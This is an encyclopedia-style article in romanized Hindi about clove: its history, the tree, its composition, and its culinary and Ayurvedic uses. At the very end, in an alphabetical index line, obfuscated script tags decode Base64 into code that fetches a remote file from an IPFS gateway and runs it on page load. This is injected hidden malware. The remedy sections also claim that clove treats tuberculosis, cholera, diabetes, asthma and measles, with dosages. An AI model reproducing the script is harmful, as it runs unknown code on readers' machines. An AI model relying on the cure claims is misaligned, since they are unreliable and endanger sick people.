लौंग

**lauang**
200px\|lauang
lauang
200px\|lauang ka vriksh
lauang ka vriksh
200px\|lauang ka phool
lauang ka phool
200px\|lauang
lauang

parichay

bharatiy rasoee ghar aur masale tatha iname lauang aur lauang ki upayogita ko kaun nahian janata. lauang ko dadi nani ke nusko mean ek vishesh sthan prapt hai. lauang (Clove, Lawang, Devkusum) ka prayog masale ke taur par prachin kal se hota chala a raha hai. alag-alag sthanoan evan bhashaoan mean lauang ko bhinn-bhinn namoan se jana jata hai. lauang ko aangreji mean klovh / clove kaha jata hai jo ki laitin ke shabd clavus, jisaka arth nakhoon hota hai, ka aangreji roopantar hai. lauang ke nakhoon ke sadrish hone ke karan hi usaka yah aangreji nam p da. lauang ka rang kala hota hai. yah ek khushaboodar masala hai. jise bhojan mean svad ke lie dala jata hai. lauang ka udgam sthan iandoneshiya ko mana jata hai. aitihasik roop se lauang ka pe d molukka dvipoan ka deshi vriksh hai, jahaan chin ne eesa se lagabhag tin shatabdi poorv ise khoja aur aleksaindriya mean isaka ayat tak hone laga. aj janjibar lauang ka sabase adhik utpadan karane vala desh hai. lauang ka adhik matra mean utpadan janjibar aur malakka dvip mean hota hai. isaka upayog bharat aur chin mean 2000 varshoan se bhi adhik samay se ho raha hai. lauang ka utpadan mukhy roop se iandoneshiya, medagaskar, bharat, pakistan, shrilanka adi deshoan mean hota hai. apako shayad yah janakar ashchary ho ki atharahavian shatabdi mean briten mean lauang ka mooly usake vajan ke sone ke barabar hua karata tha.

lauang ka vriksh

lauang madhyam akar ka sadabahar vriksh se paya jane vala, sookha, anakhula ek aisa pushp aankur hota hai jisake vriksh ka tana sidha aur pe d bhi 10-12 mitar ki ooanchaee vala hota hai aur jisake patte b de-b de tatha dirghavritakar hote haian. isake pe d ko lagane ke ath ya nau varsh ke bad hi phal dete hai. lauang ke pe doan ke shakhoan ke antim chhoroan mean lauang ke phool samooh mean khilate haian. lauang ki kaliyoan ka rang khilana arambh hote samay pila hota hai jo ki dhire-dhire hara hote jata hai aur poornatah khil jane par isaka rang lal ho jata hai. in kaliyoan mean char pankhu diyoan ke madhy ek vritakar phal hota hai.

lauang ke prakar

lauang, jise ki lavaang ke nam se bhi jana jata hai, Myrtaceae parivar se sambandhit ek pe d ki sookhi kali ko kahate haian jo ki khushaboodar hota hai. lauang ushn prakriti ka masala hai. lauang do prakar ke hote haian. ek kale rang ki evan doosari nile rang ki. amataur par gharoan mean masale ke taur par istemal hone vala lauang kale rang ka hota hai. nile rang ka lauang adhik tailiy hota hai at: inase mashin dvara tel nikala jata hai jinaka upayog chikitsa mean kiya jata hai. isake patte bhi masale ke taur par istemal kiye jate haian. lavang ek khushaboodar masala hota hai.

lauang ki pahachan

achchhe lavang ki pahachan hai usaki khushaboo evan tailiyapan. lauang kharidate samay use datoan mean dabakar dekhana chahie isase lavang ki gunavatta pata chal jati hai. jo lauang sugandh mean tej, svad mean tikhi ho aur dabane mean tel ka abhas ho usi lauang ko achchha manana chahie. vyapari lauang mean tel nikala hua lauang mila dete hai. agar lauang mean jhurriya p di ho to samajhe ki yah tel nikali huee lauang hai.

lauang ke tatv

lauang mean maujood tatvoan ka vishleshan kiya jae to isamean karbohaidret, nami, protin, vashpashil tel, gair-vashpashil eethar nicho d (vasa) aur reshoan se bana hota hai. isake alava khanij padarth, haidroklorik esid mean n ghulane vali rakh, kailshiyam, phasphoras, loha, sodiyam, poteshiyam, thayamain, raibophlevin, niyasin, vitamin 'si' aur 'e' jaise tatv bhi lauang mean prachur matra mean pae jate haian. isake alava kee tarah ke aushadhiy tatv hote haian. isaka ooshmiy man 43 digri hai aur isase kee tarah ke aushadhiy v bhautik tatv lie ja sakate haian.

lauang ek aushadhi

ayurved mean lauang ka prayog anek prakar ki ayurvedik aushadhiyoan ke banane mean bhi kiya jata hai. bharat ke prachin chikitsa vijnan mean lauang ka upayog chikitsa ke lie kiye jane ka zikr hua hai. chin ke sath hi sath pashchim ke anek deshoan mean harbal davaiyaan banane ke lie lauang ka prayog kiya jata hai. bharatiy aushadhiy pranali mean lauang ka upayog kee sthitiyoan mean kiya jata hai. anek rogoan ke nidan ke lie ayurved mean lauang ka prayog sabut, pisakar, choorn, kadha tatha tel ke roop mean kiya jata hai. lauang ka tel ek mahattvapoorn ayurvedik aushadhi hai. lauang ke tel ko aushadhi ke roop mean bhi upayog mean laya jata hai. lauang ke tel mean bhi aise aansh hote haian jo rakt parisancharan ko sthir karate haian aur sharir ke tapaman ko niyantrit rakhate haian. lauang ke tel ko bahari tvacha par lagane se tvacha par uttejak prabhav dikhaee dete haian. tvacha lal ho jati hai aur ushma utpann hoti hai. isake alava lauang eanjaim ke bahav ko badhava deti hai bhookh badhati hai aur pachan kriya ko bhi tej karati hai. lauang ka tel pani ki tulana mean bhari hota hai. isaka rang lal hota hai. sigaret ki tambakoo ko sugandhit banane ke lie lauang ke tel ka upayog hota hai. isake tel ko tvacha par lagane se tvacha ke ki de nasht hote haian.

ayurvedik gun

lauang mean anek prakar ke aushadhiy gun hote haian. ayurvedik matanusar lauang tikha, laghu, aankhoan ke lie labhakari, shital, pachanashaktivarddhak, pachak aur ruchikarak hota hai. yah pyas, hichaki, khaansi, raktavikar, ti.bi adi rogoan ko door karati hai. lauang ka upayog muanh se lar ka adhik ana, dard aur vibhinn rogoan mean kiya jata hai. yah daantoan ke dard mean bhi labhakari hai. ye uttejana dete haian aur aianthanayukt avyavasthaoan, tatha pet phoolane ki sthiti ko kam karate haian. dhime parisancharan ko tej karati hai aur hajama tatha chayapachay ko badhava deti hai. shodhakartaoan ka kahana hai ki bharatiy masaloan mean lauang sabase achh‍chha eanti aaukh‍sideant ka kam karata hai. bhojan mean prakritik eanti aaukh‍sideant ka ish‍temal karana sh‍vash‍th ke lie behatar hai. yah kritrim eanti aaukh‍sideant se jh‍yada behatar hai. eantiseptik gunoan ke karan yah chot, ghav, khujali aur sankraman mean kitoan ke katane ya dank marane par bhi kiya jata hai. yoonani chikitsa paddhati ke anusar : lauang khushk, uttejak aur garm hai. isako khane se sir dard hota hai. yah pachanashakti ko badhata hai. daantoan ke masoodhoan ko mazaboot banata hai. isako pisakar malish karane se zahar door hota hai. eeran aur chin mean to aisa bhi mana jata tha ki lauang mean kamottejak gun hote haian.

lauang ka khanapan mean istemal

duniya bhar ke vyanjanoan ko banane mean prayah lauang ka prayog ek masale ke roop mean kiya jata hai. masale ke taur par lauang ka istemal garam masala mean hota hai. chooanki lauang ke prayog se bhojan susvadu ho jata hai, sampoorn bharat mean prayah lauang ka prayog vibhinn prakar ke vyanjan banane mean hota hai. rasoeeghar mean lavang ko pisakar rasadar sabjiyoan mean istemal kiya jata hai. pulav evan mit, machhali pakate samay bhi masale ke taur lauang ka istemal kar sakate haian. ajakal bahut si mithaeeyoan ko sajane ke lie bhi lauang ka prayog kiya jane laga hai. koko, ch aaukalet, aisakrim adi khady-padarthoan mean paya jane vala banavati venila esens lauang se hi taiyar kiya jata hai. lauang ko pan ke sath bhi khaya jata hai, prayah pan ke bi de mean lauang ko khoans diya jata hai jisase bi de ki sundarata bhi badh jati hai. bharat ke kuchh kshetroan mean bina lauang vala pan bi da dene ko ashubh mana jata hai. lauang ki tasir garm hone ke karan garmiyoan ke dinoan mean isaka prayog kam kiya jata hai. masala chay banane ke lie bhi lauang ka istemal kiya jata hai. lauang ka asav banakar usamean se sugandhit padarth taiyar kiye jate haian. chin aur japan mean bhi ek khushaboodar padarth ke roop mean lauang ko mahattvapoorn mana jata hai. yoorop, eshiya aur sanyukt rajy amerika ke kee kshetroan mean lauang ka prayog ek prakar ke sigaret, jise ki kritek (kretek) kaha jata hai, banane ke lie bhi kiya jata hai.

lauang ka chikitsa mean upayog

matali, hichaki, pet phoolana, asthama, broankaitis, gathiya, daant dard, dayariya, sankraman, ke roop mean upayogi yah eantiseptik; kit nashak, uttejak, punahshakti dayak, sharirik garmidayak, kamoddipak t aaunik bhi hai.
sankraman - eantiseptik gunoan ke karan yah chot, ghav, khujali aur sankraman mean bhi kafi upayogi hota hai. isaka upayog kitoan ke katane ya dank marane par bhi kiya jata hai. lekin sanvedanashil tvacha par ise nahian lagana chahie.
nasoor - lauang aur haldi pis kar lagane se nasoor mitata hai.
lauang ke tel ko tvacha par lagane se sardi, phloo aur pairoan mean hone val phangal inphekshan aur tvacha ke ki de bhi nasht hote haian.
guheri - aankhoan ke pas ya chehare par nikali chhoti-chhoti phuansiyoan par lauang ghis kar lagane se phuansiyaan aur soojan bhi thik ho jati haian.
aantr jvar - aantr jvar mean do kilo pani mean paanch lauang adha rahane tak ubalakar chhanakar is pani ko din mean kee bar pilaean.
jvar - ek lauang pis kar garm pani se phanki lean. do tin bar lene se hi samany bukhar utar jaega. char lauang paudar pani mean ghol kar pilane mean tej bukhar bhi kam ho jata hai.
pitt jvar - char lauang pis kar pani mean ghol kar pilane mean tej jvar kam ho jata hai.
kan mean dard - lauang ke tel ko til ke tel (sesami ayal) ke sath milakar dalane se kan ke dard mean rahat milati hai.
tanav - lauang manasik dabav aur thakan ko kam karane ka kam karata hai. yah anidra ke marijoan aur manasik bimariyoan jaise kam hoti yadadasht, avasad aur tanav mean upayogi hota hai.
dayabitij - lauang ka tel khoon ko saf karake blad shugar ko niyantrit karata hai. lauang ka tel rakt sanchar samany aur sharir ka tapaman niyantrit rakhata haian.
chot lagane par lauang ki kuchh kaliyoan ko sarasoan tel / kapoor ke tel mean pakakar malish karane se labh milata hai. soojan hone par lauang ke tel se malish karani chahie. maans peshiyoan mean aianthan ho to prabhavit kshetr par lauang ke tel ki malis karane se aram milata hai.
jaldi-jaldi pyas lagane par mishri evan lauang ko pisakar khane se jaldi pyas nahian lagati hai. pyas ki tivrata hone par ubalate pani mean lauang dal kar pilaean. isase pyas kam ho jati hai.
garbhavati striyoan ko ulti hone par lauang ko garm pani mean bhigokar usaka pani pilane se labh hota hai. yadi bhune hue lauang ke choorn ko shahad ke sath milakar le liya jae to ultiyoan par kaboo paya ja sakata hai kyoanki lauang ke sanjnahari prabhav se pet aur halak sunn ho jate haian aur ultiyaan ruk jati haian.
ulti - char lauang koot kar ek kap pani mean dal kar ubalean. adha pani rahane par chhan kar svad ke anusar mitha mila kar pi kar karavat lekar so jaean. din bhar mean aisi char matra lean. ultiyaan band ho jaeangi.
haije ke upachar mean bhi lauang bahut upayogi siddh hoti hai. haije mean pyas aur ulati mean lauang ka pani banakar dete hai isase pyas aur ulati kam hoti hai tatha peshab khulakar ata hai. isake lie char gram lauang ko tin litar pani mean tab tak ubala jata hai jab tak ki adha pani bhap banakar gayab n ho jae. is pani ko pine se rog ke tivr lakshan turant kaboo mean a jate haian.
khasara - khasara nikalane par do lauang ko ghisakar shahad ke sath lene se khasara thik ho jata hai.
yah pet ke dard ko mitane vala mana jata hai. lauang pachan kriya ko durust rakhata hai.
amlapitt - khana khane ke bad 1-1 lauang subah, sham khane se ya sharbat mean lene se amlapitt se hone vale sabhi rogoan mean labh hota hai aur amlapitt thik ho jata hai. 15 gram hare aanvaloan ka ras, paanch pisi huee lauang, ek chammach shahad aur ek chammach chini milakar rogi ko pilaean. aisi tin matra subah, dopahar, rat ko sote samay pilaean. kuchh hi dinoan mean ashatit labh hoga.
apach, gais - do lauang pis kar ubalate hue adha kap pani mean dalean, phir kuchh thanda hone par pi jaean. is prakar tin bar nity karean.
ji michalana - 2 lauang pis kar adha kap pani mean mila kar garm karake pilane se ji michalana thik ho jata hai. lauang chabane se bhi ji michalana thik ho jata hai.

tvacha ki bimari

tvacha ke kisi bhi prakar ke rog mean isaka chandan boora ke sath milakar lep lagane se fayada milata hai. lauang ke tel ka istemal muanhase ke upachar mean bhi kiya jata hai.

muanh aur gale ki bimari

gale mean dard ho to kuchh lauang ki kaliyoan ko pani mean ubalakar garara karane se gale ki kharabi aur payariya mean labh milata hai. gale ki kharash mean lauang ka choosana asarakarak hota hai.
daant dard hone par lauang ki ek kali daant ke niche rakhane se dard se turant aram milata hai. aur isake entiseptik gun daantoan ke sankraman ko kam karata hai. lauang ek aisa masala hai jo dant kshay ko rokata hai aur muanh ki durgandh ko door bhagata hai.
daant mean ki da hai to lauang ko ki de lage daantoan par rakhana chahie ya lauang ka tel ki phureri lagana chahie, isase daant dard bhi mit jata hai. kati jibh par lauang ko pisakar rakhane se kati jibh bhi thik ho jati hai.
lauang ka tel daant mean dard, masoo doan mean dard aur muanh mean alsar aur saansoan ki badaboo ko door karane mean ramaban dava hai. ek gilas pani mean char-paanch lauang ubal kar is pani se kulla kare ya lauang pis kar usamean niboo ka ras milaye ise daantoan par malane se daantoan ka dard khatm ho jata hai.

saans ki bimari

namak ke sath lauang chabane se kaphotsaran (thookane) mean asani hoti hai, gale ka dard kam ho jata hai aur grasani ki jalan bhi band ho jati hai. grasani shoth ke karan hone vali khaansi ko door karane ke lie jale hue lauang ko chabana achchha hota hai.
khaansi hone par lauang ko choosane se fayada hota hai. lauang ko bhunakar chabane se ya lauang ko namak ke sath chabakar khane se khaansi kaph gale dard mean turant aram milata hai. lauang kaph-pitt nashak hoti hai.
lauang muanh mean rakhane se kaph aram se nikalata hai tatha kaph ki durgandh door ho jati hai. muanh aur saans ki durgandh bhi isase mitati hai. lauang aur anar ke chhilake saman matra mean pis kar chutaki bhar choorn shahad se nity tin bar chatane se khaansi thik ho jati hai. do lauang tave par seank kar choosean. isase khaansi ke sath kaph (balagam) ana thik ho jata hai.
kshay rog, dama aur shravasani shoth se hone vali dardabhari khaansiyoan ko kam karane ke lie lahasun ki ek kali ko shahad ke sath milaean aur usamean tin se paanch lauang ke tel ki booandean dalean. sone se pahale ise ek bar lene se kafi aram milega. lauang ka tel saans ki bimariyoan mean khaansi, jukam, dama, asthama, tapedik, pheph de mean soojan mean bahut upayogi hota hai.
lauang se dame ka bahut prabhavi ilaj hota hai. dama ke rogi ko 4-6 lauang ki kaliyoan ko pisakar 30 mi.li. / ek kap pani mean ubal kar isaka kadha bana le aur shahad ke sath din mean tin bar piean. isase jami huee kaph nikal jaegi aur dama se rahat milegi. lahasun ki ek kali ko pise ise shahad ke sath milaean aur 4-5 lauang ke tel ki booandean dalean, sone se pahale ise ek bar le dama saans ti bi ki takaliph bhari khaansi mean kafi aram milega.
kookar khaansi - 2 lauang ag mean bhoon kar shahad mean milakar chatane se kookar khaansi thik ho jati hai.

sir ki bimari

namak ke kristal aur lauang ko doodh mean milakar taiyar vilep lagane se siradard thik ho jata hai. barauni ke asapas ki jalan ko thik karane ke lie bhi lauang prabhavi hoti hai.
pani mean lauang ko ghisakar prabhavit jagah par lagane se sukoon milata hai.
nariyal tel mean lauang ke tel ki 8-10 booandean dale isamean ek chutaki namak milakar sir par malish kare jisase sir mean thandak ati hai aur dard bhi jata rahata hai.
lauang ke tel ki malish athava lauang ko pis kar mathe par lagaye sir dard turant thik hota hai. 4-5 lauang pis kar ek kap pani mean mila kar adha pani rahane tak garm karean. chhan kar chini ya shahad mila kar subah aur sham pilaean isase sar ka dard thik ho jata hai.

hanikarak

lauang ki pravritti behad garm hoti hai at: apane sharir ki prakriti ko samajhate hue hi isaka sevan karana chahie. at: adhik matra mean isaka sevan karana nukasanadey ho sakata hai at: lauang zaroorat se adhik nahian khana chahie. zyada lauang khane se gurde aur aantoan ko nukasan pahuanch sakata hai. babool ka goand, lauang mean vyapt doshoan ko door karata hai. matra :- 1 gram se 3 gram tak.

vibhinn bhashaoan mean lauang ke nam

bhasha	nam
hindi	lauang.
aangrezi	klabj (CLOVES).
sanskrit	lavang, devakusum.
marathi	lavang.
gujarati	laviang.
bangali	lavang.
tailagi/telugu	labangal,lavaangam.
malayalam	grampoo.
pharasi	darakhte mehak.
arabi	mikhakarkan, phool.
laitin	kareyaphailaseroan matikash.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

tika tippani aur sandarbh

bahari k diyaan

sanbandhit lekh

varnamala kramanusar lekh khoj

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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> g <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> gh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> n <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ch 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